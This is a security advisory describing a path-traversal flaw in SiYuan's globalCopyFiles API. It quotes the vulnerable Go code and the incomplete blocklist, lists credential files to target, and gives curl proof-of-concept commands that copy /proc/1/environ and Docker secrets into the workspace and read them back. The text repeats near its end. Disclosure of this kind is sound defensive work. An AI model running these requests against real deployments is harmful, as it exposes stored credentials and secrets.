Summary
POST /api/file/globalCopyFiles reads source files using filepath.Abs() with no workspace boundary check, relying solely on util.IsSensitivePath() whose blocklist omits /proc/, /run/secrets/, and home directory dotfiles. An admin can copy /proc/1/environ or Docker secrets into the workspace and read them via the standard file API.
Details
File: kernel/api/file.go - function globalCopyFiles
for i, src := range srcs {
absSrc, _ := filepath.Abs(src) // not restricted to workspace
if util.IsSensitivePath(absSrc) { // blocklist is incomplete
return
}
srcs[i] = absSrc
}
destDir := filepath.Join(util.WorkspaceDir, destDir)
for _, src := range srcs {
dest := filepath.Join(destDir, filepath.Base(src))
filelock.Copy(src, dest) // copies unchecked sensitive file into workspace
}
IsSensitivePath blocklist (kernel/util/path.go):
prefixes := []string{"/etc/ssh", "/root", "/etc", "/var/lib/", "/."}
Not blocked - exploitable targets:
| Path |
Contains |
/proc/1/environ |
All env vars: DATABASE_URL, AWS_ACCESS_KEY_ID, ANTHROPIC_API_KEY |
/run/secrets/* |
Docker Swarm / Compose injected secrets |
/home/siyuan/.aws/credentials |
AWS credentials (non-root user) |
/home/siyuan/.ssh/id_rsa |
SSH private key (non-root user) |
/tmp/ |
Temporary files including tokens |
PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \
-v $(pwd)/workspace:/siyuan/workspace \
b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123
Exploit:
TOKEN="YOUR_ADMIN_TOKEN"
# Step 1: Copy /proc/1/environ (process env vars) into workspace assets
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/proc/1/environ"],"destDir":"data/assets/"}'
# Step 2: Read the copied file via standard API
curl -s -X POST http://localhost:6806/api/file/getFile \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"path":"/data/assets/environ"}' | tr '\0' '\n'
# Output: HOSTNAME=abc\nPATH=/usr/local/sbin:...\nDATABASE_URL=postgres://...\nAPI_KEY=sk-...
Docker secrets:
# Copy all Docker-injected secrets
curl -s -X POST http://localhost:6806/api/file/globalCopyFiles \
-H "Authorization: Token $TOKEN" \
-H "Content-Type: application/json" \
-d '{"srcs":["/run/secrets/db_password","/run/secrets/api_token"],"destDir":"data/assets/"}'
Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.
References
Summary
POST /api/file/globalCopyFilesreads source files usingfilepath.Abs()with no workspace boundary check, relying solely onutil.IsSensitivePath()whose blocklist omits/proc/,/run/secrets/, and home directory dotfiles. An admin can copy/proc/1/environor Docker secrets into the workspace and read them via the standard file API.Details
File:
kernel/api/file.go- functionglobalCopyFilesIsSensitivePathblocklist (kernel/util/path.go):Not blocked - exploitable targets:
/proc/1/environDATABASE_URL,AWS_ACCESS_KEY_ID,ANTHROPIC_API_KEY/run/secrets/*/home/siyuan/.aws/credentials/home/siyuan/.ssh/id_rsa/tmp/PoC
Environment:
docker run -d --name siyuan -p 6806:6806 \ -v $(pwd)/workspace:/siyuan/workspace \ b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123Exploit:
Docker secrets:
Impact
An admin can exfiltrate any file readable by the SiYuan process that falls outside the incomplete blocklist. In containerized deployments this includes all injected secrets and environment variables - a common pattern for passing credentials to containers. The exfiltrated files are then accessible via the standard workspace file API and persist until manually deleted.
References